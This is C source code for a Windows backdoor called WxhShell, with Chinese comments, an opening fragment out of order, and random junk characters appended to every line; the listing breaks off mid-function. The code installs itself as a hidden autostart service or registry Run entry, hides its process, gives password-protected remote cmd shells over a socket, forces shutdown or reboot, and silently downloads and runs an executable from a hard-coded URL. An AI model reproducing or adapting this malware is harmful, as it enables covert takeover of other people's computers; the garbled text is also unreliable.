  // 关机 )4C6+63OD&  
  case 'd': { ZOsn,nF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Lu5.$b  
    if(Boot(SHUTDOWN)) c3BL2>c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `h]f(  
    else { =&xoyF  
    closesocket(wsh); x/^zNO\1  
    ExitThread(0); Um|Tf]q  
    } i`s pM<iR.  
    break; d+)L\ `4  
    } Bbp9Q,4  
  // 获取shell B)NB6dCp  
  case 's': { (ytkq(  
    CmdShell(wsh); I(S6DkU  
    closesocket(wsh); N#ObxOE6T"  
    ExitThread(0); \mG M#E  
    break; Ji=iq=S7  
  } DgP%Q  
  // 退出 vGDo?X~#o  
  case 'x': { U$Z}<8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oa7Hx<Y  
    CloseIt(wsh); MPc=cLv  
    break; fe/6JV  
    } G-<~I#k  
  // 离开 5Yr$dNe  
  case 'q': { hglt D8,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8B9zo&  
    closesocket(wsh); 7mBL#T2   
    WSACleanup(); 0&~u0B{  
    exit(1); \]El%j4  
    break; '+wTrW m~j  
        } 'h=2_%l@Y  
  } JH#?}L/0Fe  
  } ;{20Heuz  
S#dS5OX  
  // 提示信息 S\(_"xJPp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E(#2/E6  
} $Plk4 o*g  
  } qiN'Tuw9  
] fB{  
  return; }XU- J An  
} e+TNG &_  
RwWQ$Eb_s  
// shell模块句柄 N%+M+zEJ  
int CmdShell(SOCKET sock) cO9Aw!  
{ yW 3h_08  
STARTUPINFO si; %#~Wk|8} Q  
ZeroMemory(&si,sizeof(si)); htaLOTO;A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aT#|mk=\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XLT<,B}e  
PROCESS_INFORMATION ProcessInfo; &@+; ]t  
char cmdline[]="cmd"; +fN0> @s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 75f.^4/%  
  return 0; "?SnA +)  
} *VB*/^6A  
ix;8S=eP~{  
// 自身启动模式 ^(R gSMuT`  
int StartFromService(void) |Oe6OCPf  
{ Wt =[R 4=  
typedef struct 2_Z6 0]  
{ <*P1Sd.  
  DWORD ExitStatus; 0P42C{>'w  
  DWORD PebBaseAddress; ~4 ab\hq  
  DWORD AffinityMask; 6%-2G@6d  
  DWORD BasePriority; ,U}8(D~:  
  ULONG UniqueProcessId; Qs a2iw{  
  ULONG InheritedFromUniqueProcessId; }- Sr@bE  
}   PROCESS_BASIC_INFORMATION; Alz#zBGb  
4~4Hst#^  
PROCNTQSIP NtQueryInformationProcess; ^&Bye?`5  
>\ W" 3.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m\yO/9{h1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]CjODa  
E2MpMR  
  HANDLE             hProcess; ) =[Tgh  
  PROCESS_BASIC_INFORMATION pbi; ZfU_4Pl->  
C;` fOCz^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9YKEME+:  
  if(NULL == hInst ) return 0; 6C:Lq%}  
H\T h4teE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j^gF~ Wz^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Rjf |  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  DWI!\lK  
A.[T#ZB.4  
  if (!NtQueryInformationProcess) return 0; LBg#KQ @  
[ LCi,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e042`&9=Ic  
  if(!hProcess) return 0; ]zO]*d=m  
Vr'Z5F*@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5Ai Yx}  
IH5thL@D  
  CloseHandle(hProcess); B?jF1F!9  
wgrYZ^]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W6pS.}  
if(hProcess==NULL) return 0; aD4ln]sFxG  
#r1x0s40D  
HMODULE hMod;  m ]\L1&  
char procName[255]; ;(XSw%Y H  
unsigned long cbNeeded; [f'7/w+  
;BqX=X+#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L@/+u+j0  
_Qv4;a  
  CloseHandle(hProcess); }5~ ;jN=k  
|k8;[+  
if(strstr(procName,"services")) return 1; // 以服务启动 X **w RF  
@t_<oOI2  
  return 0; // 注册表启动 t[<=QK  
} p'H5yg3h  
HjK|9  
// 主模块 eA!aUu  
int StartWxhshell(LPSTR lpCmdLine) (k[<>$hL*  
{ cJt#8P  
  SOCKET wsl; U9JqZ!  
BOOL val=TRUE; m_pK'jc  
  int port=0; b^v.FK46G  
  struct sockaddr_in door; LE7o[<>  
MFC= oKD  
  if(wscfg.ws_autoins) Install(); (F @IUbnl  
A) qOJ(OEz  
port=atoi(lpCmdLine); '8dqJ`Gj  
pPIH`Iq  
if(port<=0) port=wscfg.ws_port; C}M0KDF  
R8ZW1  
  WSADATA data; j*CnnM#n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #oHHKl=M  
UOa{J|k>h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q} / :  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v'|Dj^3[  
  door.sin_family = AF_INET; }+SnY8A=KZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sUg7  
  door.sin_port = htons(port); il:+O08_  
_3)~{dQ+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g >X!Q  
closesocket(wsl); F.JE$)B2EX  
return 1; nF7Ozxm#  
} ^f4qs  
]+J]}C]\d  
  if(listen(wsl,2) == INVALID_SOCKET) { 5Eq_L  
closesocket(wsl); \wTW hr0  
return 1;  HSTtDTo  
} hGPjH=^EM  
  Wxhshell(wsl); S:Hg =|R  
  WSACleanup(); r| YuHm  
(Y-7B  
return 0; T;I a;<mfE  
0Tq6\:  
} _m;Y'  
J.~$^-&!  
// 以NT服务方式启动 ;hRo} +\l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <x,$ODso  
{ 1;SWfKU?.  
DWORD   status = 0; >YD? pDPb/  
  DWORD   specificError = 0xfffffff; ny{|{ a  
y+@7k3"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yY8q{\G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nd-y`@z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'r3I/qg*m  
  serviceStatus.dwWin32ExitCode     = 0; O"^KX5  
  serviceStatus.dwServiceSpecificExitCode = 0; gR%fv  
  serviceStatus.dwCheckPoint       = 0; _8kZ>w(L  
  serviceStatus.dwWaitHint       = 0; z0a=A:+/  
F $B _;G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cu.f]'  
  if (hServiceStatusHandle==0) return; 9FK%"s`  
xoPpu  
status = GetLastError(); uT ngDk  
  if (status!=NO_ERROR) OSxr@  
{ C}#JvNyQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nT9B?P>  
    serviceStatus.dwCheckPoint       = 0; &Zd! |u  
    serviceStatus.dwWaitHint       = 0; Q R;Xj3]v  
    serviceStatus.dwWin32ExitCode     = status; , LX]  
    serviceStatus.dwServiceSpecificExitCode = specificError; =fEn h'KE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G|v{[>tr  
    return; .X TBy/(0  
  } ?~hC.5  
JuS#p5E #  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u1(`^^Ml  
  serviceStatus.dwCheckPoint       = 0; y?;&(Tcbt8  
  serviceStatus.dwWaitHint       = 0; Ac|IBXGa=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &")ON[|b  
} /{^Qup  
WL+I)n8~  
// 处理NT服务事件,比如:启动、停止 pvD\E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SVo:%mX  
{ U)o(}:5xF  
switch(fdwControl) ?x=;?7  
{ LDx1@a|83  
case SERVICE_CONTROL_STOP: +.:- :  
  serviceStatus.dwWin32ExitCode = 0; &V:iy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gYw4YP0Gz  
  serviceStatus.dwCheckPoint   = 0; z`y!C3w<  
  serviceStatus.dwWaitHint     = 0; k9xfv@v}  
  { txw:m*(%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FY@ErA7~  
  } UW_fn  
  return; =E,^ +`M  
case SERVICE_CONTROL_PAUSE: >S,yqKp37~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +"'cSAK  
  break; |1uyJ?%B  
case SERVICE_CONTROL_CONTINUE: ?v p' /l"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ssUWr=mD  
  break; -J[*fv@  
case SERVICE_CONTROL_INTERROGATE: ~*@ UQ9*p#  
  break; by (xv0v;  
}; ,C1}gPQ6<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |>Qj]  
} 1/:WA:]1 ,  
ozy~`$;c  
// 标准应用程序主函数 &A)AV<=>T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gi#bU  
{ +`>Tuz~  
~7IXJeon  
// 获取操作系统版本 "AMbU6 8  
OsIsNt=GetOsVer(); _o`+c wc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?A+-k4l  
yY_Zq\   
  // 从命令行安装 p"\Z@c  
  if(strpbrk(lpCmdLine,"iI")) Install(); JTA65T{3  
<F{EZ Ii  
  // 下载执行文件 @ (<C{  
if(wscfg.ws_downexe) { Q}C)az  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :c)N"EJlI2  
  WinExec(wscfg.ws_filenam,SW_HIDE); Fuq ;4UcbL  
} V(3^ev/  
>Z r f}H  
if(!OsIsNt) { +twl`Z3n  
// 如果时win9x,隐藏进程并且设置为注册表启动 QH7"' u6  
HideProc(); eg!s[1[_  
StartWxhshell(lpCmdLine); x]{}y_  
} Y@B0.5U2  
else R~ n[g  
  if(StartFromService()) 3}~.#`QeY  
  // 以服务方式启动 wr I66R}@  
  StartServiceCtrlDispatcher(DispatchTable); uj;tmK>;  
else cBZ$$$v\#  
  // 普通方式启动 pY]T3 2  
  StartWxhshell(lpCmdLine); 9K,PT.c  
kCRfO}wt3  
return 0; (d mLEt  
} ?gD^K,A Hd  
c_wvuKa  
o{MF'B #  
4@19_+3  
===========================================  i;B &~  
Sy()r 6n  
v,]-;V~<  
i[L5,%5<H  
)S"!)\4 b  
GWd71ZtFO  
" 5,dKha  
^m pWQ`R  
#include <stdio.h> &GYnGrw?@  
#include <string.h> %x{jmZ$}  
#include <windows.h> o_ng{SL  
#include <winsock2.h> ~P!\;S  
#include <winsvc.h> +guCTGD:  
#include <urlmon.h> 3ScOJo  
,6VY S\a3  
#pragma comment (lib, "Ws2_32.lib") iF,%^95=  
#pragma comment (lib, "urlmon.lib") TP3KT)  
BV;dV6`z  
#define MAX_USER   100 // 最大客户端连接数 4Ys\<\~d  
#define BUF_SOCK   200 // sock buffer (-S\%,hO  
#define KEY_BUFF   255 // 输入 buffer ak1?MKV.  
YF8;s4  
#define REBOOT     0   // 重启 ^Mvgm3hg  
#define SHUTDOWN   1   // 关机 Ln+;HorZ]  
;Qn)~b~  
#define DEF_PORT   5000 // 监听端口 QrBb! .r  
L;RHs hTy  
#define REG_LEN     16   // 注册表键长度 gpT~3c;l=  
#define SVC_LEN     80   // NT服务名长度 Z=R 6?jU*n  
wCQ.?*7-9Q  
// 从dll定义API At<D36,^"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~dXiyU,y2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;*(i}'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2 o)8'Lp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d)>b/0CZ  
fM/~k>wl  
// wxhshell配置信息 L0\~ K~q  
struct WSCFG { xqSoE[<v  
  int ws_port;         // 监听端口 ,F%2'W  
  char ws_passstr[REG_LEN]; // 口令 S$N!Dj@e;  
  int ws_autoins;       // 安装标记, 1=yes 0=no Fv_B(a  
  char ws_regname[REG_LEN]; // 注册表键名 !}lCwV  
  char ws_svcname[REG_LEN]; // 服务名 )B*D\9\Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q6PaT@gs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 je;C}4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h;[<4zw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1u8 k}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g{6FpuA|0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5 6JxHQu  
8&Md=ZvK`  
}; o' EJ,8  
*q&^tn b  
// default Wxhshell configuration ;{lb_du2:  
struct WSCFG wscfg={DEF_PORT, E]O/'-  
    "xuhuanlingzhe", t 7-6A  
    1, lxsn(- j  
    "Wxhshell", O\J{4EB@.  
    "Wxhshell", J5!-<oJ/  
            "WxhShell Service", y g:&cIr,  
    "Wrsky Windows CmdShell Service", #_SsSD=.Sy  
    "Please Input Your Password: ", -xXdT$Xd  
  1, G)IK5zCDd  
  "http://www.wrsky.com/wxhshell.exe", V1#:[o63+  
  "Wxhshell.exe" N&yr?b'!-*  
    }; :y.~IQN  
8|L;y[v  
// 消息定义模块 , Dab(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W" Tj.oCUG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #=V\WQb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QQ,V35Vp[  
char *msg_ws_ext="\n\rExit."; :\Q#W4~p  
char *msg_ws_end="\n\rQuit."; Na>w~  
char *msg_ws_boot="\n\rReboot..."; 6$)FQ U  
char *msg_ws_poff="\n\rShutdown..."; 4 _P6P  
char *msg_ws_down="\n\rSave to ";  "F=ta  
4#,,_\r  
char *msg_ws_err="\n\rErr!"; WES$B7y  
char *msg_ws_ok="\n\rOK!"; 2kcDJ{(  
) 7C+hQe  
char ExeFile[MAX_PATH]; MWv(/_b  
int nUser = 0; TKp2C5bX  
HANDLE handles[MAX_USER]; "+M0lGTB  
int OsIsNt; 704_ehrlE  
F%f)oq`B  
SERVICE_STATUS       serviceStatus; _lDNYpv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |%oI,d=ycv  
:6:,s#av  
// 函数声明 $0gGRCCG;  
int Install(void); @_$Un&eo  
int Uninstall(void); .ah[!O  
int DownloadFile(char *sURL, SOCKET wsh); G0A\"2U  
int Boot(int flag); ^z`d 2it  
void HideProc(void); 3bRW]mP8  
int GetOsVer(void); fg7  
int Wxhshell(SOCKET wsl); 7|xu)zYB  
void TalkWithClient(void *cs); WMa`! Q  
int CmdShell(SOCKET sock); Y P,>vzW  
int StartFromService(void); 6e S~*  
int StartWxhshell(LPSTR lpCmdLine); LJ6L#es2  
~/qBOeU3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3 a|pk4M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v\@pZw=x  
Z,tHyyF?j  
// 数据结构和表定义 nYR#Q|  
SERVICE_TABLE_ENTRY DispatchTable[] = ^T*!~K8A  
{ + 9I|F m  
{wscfg.ws_svcname, NTServiceMain}, R$p(5>#\5  
{NULL, NULL} GYg.B<Q.  
}; {+]tx46$  
cm0$v8  
// 自我安装 @+0dgkJ  
int Install(void)  Cmp5or6d  
{ b!e0pFS;  
  char svExeFile[MAX_PATH]; LJ6l3)tpD  
  HKEY key; zwU1(?]I{  
  strcpy(svExeFile,ExeFile); t,n2N13  
W~PMR/^i  
// 如果是win9x系统,修改注册表设为自启动 Yw yMC d  
if(!OsIsNt) { rog1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l3*GQ~m7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l<p<\,nV$  
  RegCloseKey(key); l-P6B9e|\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5KfrkZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IT7],pM  
  RegCloseKey(key); FUf.3@}  
  return 0; }g@ '^v  
    } /+*N.D'`t,  
  } }'?qUy3x  
} 7l ,f  
else { 6$0<&')Yb  
5dhy80|g]  
// 如果是NT以上系统,安装为系统服务 6#AEVRJKU@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I:HrBhI)wP  
if (schSCManager!=0) 2;j<{'  
{ `*elzW  
  SC_HANDLE schService = CreateService Mna yiJl  
  ( 9^9-\DG  
  schSCManager, &CcW(-  
  wscfg.ws_svcname, LuHRB}W  
  wscfg.ws_svcdisp, PU[<sr#,  
  SERVICE_ALL_ACCESS, alB'l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }#-@5["-X  
  SERVICE_AUTO_START, xticC>  
  SERVICE_ERROR_NORMAL, +q;{ %3C  
  svExeFile, W9pY=9]p+  
  NULL, IuT)?S7O*k  
  NULL, I 44]W&  
  NULL, -`DYDIr  
  NULL, Y9|!= T%  
  NULL ]8fn1Hx\  
  ); 6^t#sEff]  
  if (schService!=0) O_7}H)  
  { @0s' (  
  CloseServiceHandle(schService); R<Mc+{*>  
  CloseServiceHandle(schSCManager); %8 D>aS U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g1|Py t{  
  strcat(svExeFile,wscfg.ws_svcname); t0jE\6r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IG# wY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &A*E)T#>#  
  RegCloseKey(key); %\(-<aT  
  return 0; |(ab0b #  
    } qJ(uak  
  } 2$kB^g!:o  
  CloseServiceHandle(schSCManager); bhGRD{=  
}  ?O+.  
} \O4s0*gw  
~nhO*bs}7{  
return 1; c+E\e]{  
} MZ&.{SY7  
#*/nUbsg  
// 自我卸载 'G~i;o  2  
int Uninstall(void) 2I}+AW!!=  
{ @IsUY(Gu  
  HKEY key; 3vcyes-U  
N2U&TCc  
if(!OsIsNt) { K=HLMDs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { | n)4APX\Q  
  RegDeleteValue(key,wscfg.ws_regname); ; M0`8MD  
  RegCloseKey(key); c5$DHT @N"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?wPTe^Qtv  
  RegDeleteValue(key,wscfg.ws_regname); u9|Eos i  
  RegCloseKey(key); ?k4Hk$V  
  return 0; AC(qx:/6  
  } +B " aUF  
} q[VQ?b~9  
} .pWRV<25  
else { w-ald?`  
5hy7} *dR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a'|]_`36x  
if (schSCManager!=0) ?_d>-NC  
{ %;h1n6=v2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s=-?kcoJ2d  
  if (schService!=0) 6]%=q)oL[  
  { P8ej9ULX,  
  if(DeleteService(schService)!=0) { @}H'2V  
  CloseServiceHandle(schService); MYvz%7  
  CloseServiceHandle(schSCManager); FS&QF@dtgf  
  return 0; 1aO(+](;  
  } MbCz*oW  
  CloseServiceHandle(schService); ?]Hs~n-  
  } KTT!P 4  
  CloseServiceHandle(schSCManager); nw- -  
} NpZ'pBl  
} .wd7^wI^S  
9 c9$cnQ  
return 1; w^&UMX}  
} r+[g.`  
*!y04'p`<  
// 从指定url下载文件 N?{Zrff2"O  
int DownloadFile(char *sURL, SOCKET wsh)  EH2):  
{ 3{co.+  
  HRESULT hr; /];N1  
char seps[]= "/"; ,e1c,}  
char *token; uGXvP(Pg'  
char *file; SGZYDxFC@  
char myURL[MAX_PATH]; c/bT5TIEWs  
char myFILE[MAX_PATH]; jWxa [ >  
?:60lCqj  
strcpy(myURL,sURL); HI D6h!  
  token=strtok(myURL,seps); 8M!9gvcaO  
  while(token!=NULL) 24_/JDz  
  { b;(BMO,(  
    file=token; O#D N3yu?  
  token=strtok(NULL,seps); #J c)v0_  
  } pB]+c%\  
'%A*Z,f  
GetCurrentDirectory(MAX_PATH,myFILE); UazUr=| e  
strcat(myFILE, "\\"); <Dp[F|r  
strcat(myFILE, file); Nj4^G ~_  
  send(wsh,myFILE,strlen(myFILE),0); PHn3f;I  
send(wsh,"...",3,0); o{ \r1<D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KA0_uty/T  
  if(hr==S_OK) uQg&A`4  
return 0; cLnvb!g'#  
else h)C `w'L  
return 1; OOX}S1lA  
Q pbzx/2h  
} Wp$'#HhB  
3HmJixy  
// 系统电源模块 SE!0f&  
int Boot(int flag) *e-+~/9~  
{ VbzW4J_  
  HANDLE hToken; le-Q&*  
  TOKEN_PRIVILEGES tkp; n^ AQ!wC  
}vbs6u  
  if(OsIsNt) { s" jxj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CcHf1 _CI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  hVB^:  
    tkp.PrivilegeCount = 1; =i/7&gC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $*`=sV!r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q^_PR|  
if(flag==REBOOT) { >wpC45n)9N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  !Z'x h +  
  return 0; .;0?r9  
} crt )}L8-  
else { uP\?y(= "  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k#8,:B2  
  return 0; t> J 43  
} ANNfL9:Jy  
  } OAu ?F}O  
  else { }LDH/# u  
if(flag==REBOOT) { [-X=lJ:+h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }JXAG/<  
  return 0; ~VZ)LQ'7  
} p$XL|1G*?H  
else {  7(;M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _L mDF8Q(  
  return 0; X6jW mo8]  
} .]+oE$,!  
} Y%v?ROql  
 `)`J  
return 1; d`D<PT(\  
} )GDP?Nc<Ik  
lE~5 b  
// win9x进程隐藏模块 b[<zT[.:  
void HideProc(void) DGl_SMJb  
{ TSHsEcfO  
e&G!5kz!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )~1QOl "~  
  if ( hKernel != NULL ) &>UI{  
  { Y/1KvF4)k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sW[8f Z71  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \IL/?J 5d  
    FreeLibrary(hKernel); &?m|PK)I  
  } @ !0@f'}e  
bce>DLF  
return; %./vh=5)  
} ) -+u8#  
=B9Ama   
// 获取操作系统版本 vA rM.Bu>b  
int GetOsVer(void) T/DKT1P-  
{ 5[.Dlpa'7  
  OSVERSIONINFO winfo; \F;V69'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z1t YD  
  GetVersionEx(&winfo); q_eGY&M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2GNtO!B.  
  return 1; 0|<ER3xkx  
  else <[O8 {9j  
  return 0; L&$ X\\Lv^  
} qgd#BJ=  
/QDlm>FM4  
// 客户端句柄模块 07WZ w1(;  
int Wxhshell(SOCKET wsl) BgLW!|T[  
{ w '?xewx  
  SOCKET wsh; ?bwF$Ku  
  struct sockaddr_in client; PjriAlxD  
  DWORD myID; @vWf-\  
?0_Bs4O\  
  while(nUser<MAX_USER) / /63?s+  
{ __HPwOCG7  
  int nSize=sizeof(client); p!^.;c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FSZQ2*n5  
  if(wsh==INVALID_SOCKET) return 1; dn0?#=  
pC 5J '@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2_@vSwC  
if(handles[nUser]==0) 8&FnXhZg4  
  closesocket(wsh); '`g#Zo  
else @T53%v<5  
  nUser++; m1DzU q;  
  } xE(VyyR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q{/>hvl  
$Lpt2:.((  
  return 0; kfaRN ^  
} KLpu7D5(|  
=fmM=@!$<  
// 关闭 socket =C{)i@ +  
void CloseIt(SOCKET wsh) _^cDB1I ?  
{ 49b#$Xq  
closesocket(wsh); &|('z\k  
nUser--; n(^{s5 Rr  
ExitThread(0); :G$f)NMK  
} =!{7ZSu\  
FG.MV-G  
// 客户端请求句柄 jt|e?1:vF  
void TalkWithClient(void *cs) $_s"16s  
{ l \~w(8g<A  
k(|D0%#b7  
  SOCKET wsh=(SOCKET)cs; 69{^Vfd;Y  
  char pwd[SVC_LEN]; 1U[8OM{$  
  char cmd[KEY_BUFF]; k.nq,  
char chr[1]; u,i~,M  
int i,j; ud]O'@G<  
,f0|eu>  
  while (nUser < MAX_USER) { SaK aN#C  
g:0-` ,[  
if(wscfg.ws_passstr) { (`+%K_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^Glmg}>q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |^jl^oW  
  //ZeroMemory(pwd,KEY_BUFF); gMe)\5`\Y  
      i=0; PveY8[i  
  while(i<SVC_LEN) { c@d[HstBJ  
!#0Lo->OO  
  // 设置超时 s=0z%~H  
  fd_set FdRead; |sd0fTK  
  struct timeval TimeOut; ">='l9  
  FD_ZERO(&FdRead); G gmv(!  
  FD_SET(wsh,&FdRead); 5U)Ia>p  
  TimeOut.tv_sec=8; y8"8QH  
  TimeOut.tv_usec=0; wZ7Opm<nt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QcBuUFf!c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bw^*6P^l  
vmW > $P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &AR@5M u  
  pwd=chr[0]; LIfQh  
  if(chr[0]==0xd || chr[0]==0xa) { = GUgb2TAT  
  pwd=0; S<Z]gY @c  
  break; 9[yW&t;#  
  } i("ok  
  i++; F+yu[Dh:  
    } ;a@%FWc  
)+;Xfftz  
  // 如果是非法用户,关闭 socket ;S Re`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t>nx#ErS  
} >bQ'*!  
a,<l_#'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ql`N)!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ph@hk0dgr/  
~>8yJLZ.7  
while(1) { ZDHm@,d  
NP }b   
  ZeroMemory(cmd,KEY_BUFF); Mr/;$O{  
YN.[KQ(!  
      // 自动支持客户端 telnet标准   8YroEX[5l  
  j=0; #-T xhwYs  
  while(j<KEY_BUFF) { PVfky@wl"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AQAZ+g(IK  
  cmd[j]=chr[0]; v|DgRPY  
  if(chr[0]==0xa || chr[0]==0xd) { y8oqCe)  
  cmd[j]=0; zfS0M  
  break; N]yh8"7X  
  } 44e:K5;]7  
  j++; sa8Q1i&%  
    } .%~m|t+Rt  
[PXv8K%]p  
  // 下载文件 Uwj|To&QR  
  if(strstr(cmd,"http://")) { Y!!w*G9b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PfF5@W;E;  
  if(DownloadFile(cmd,wsh)) =i'APeNaQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o$PY0~#  
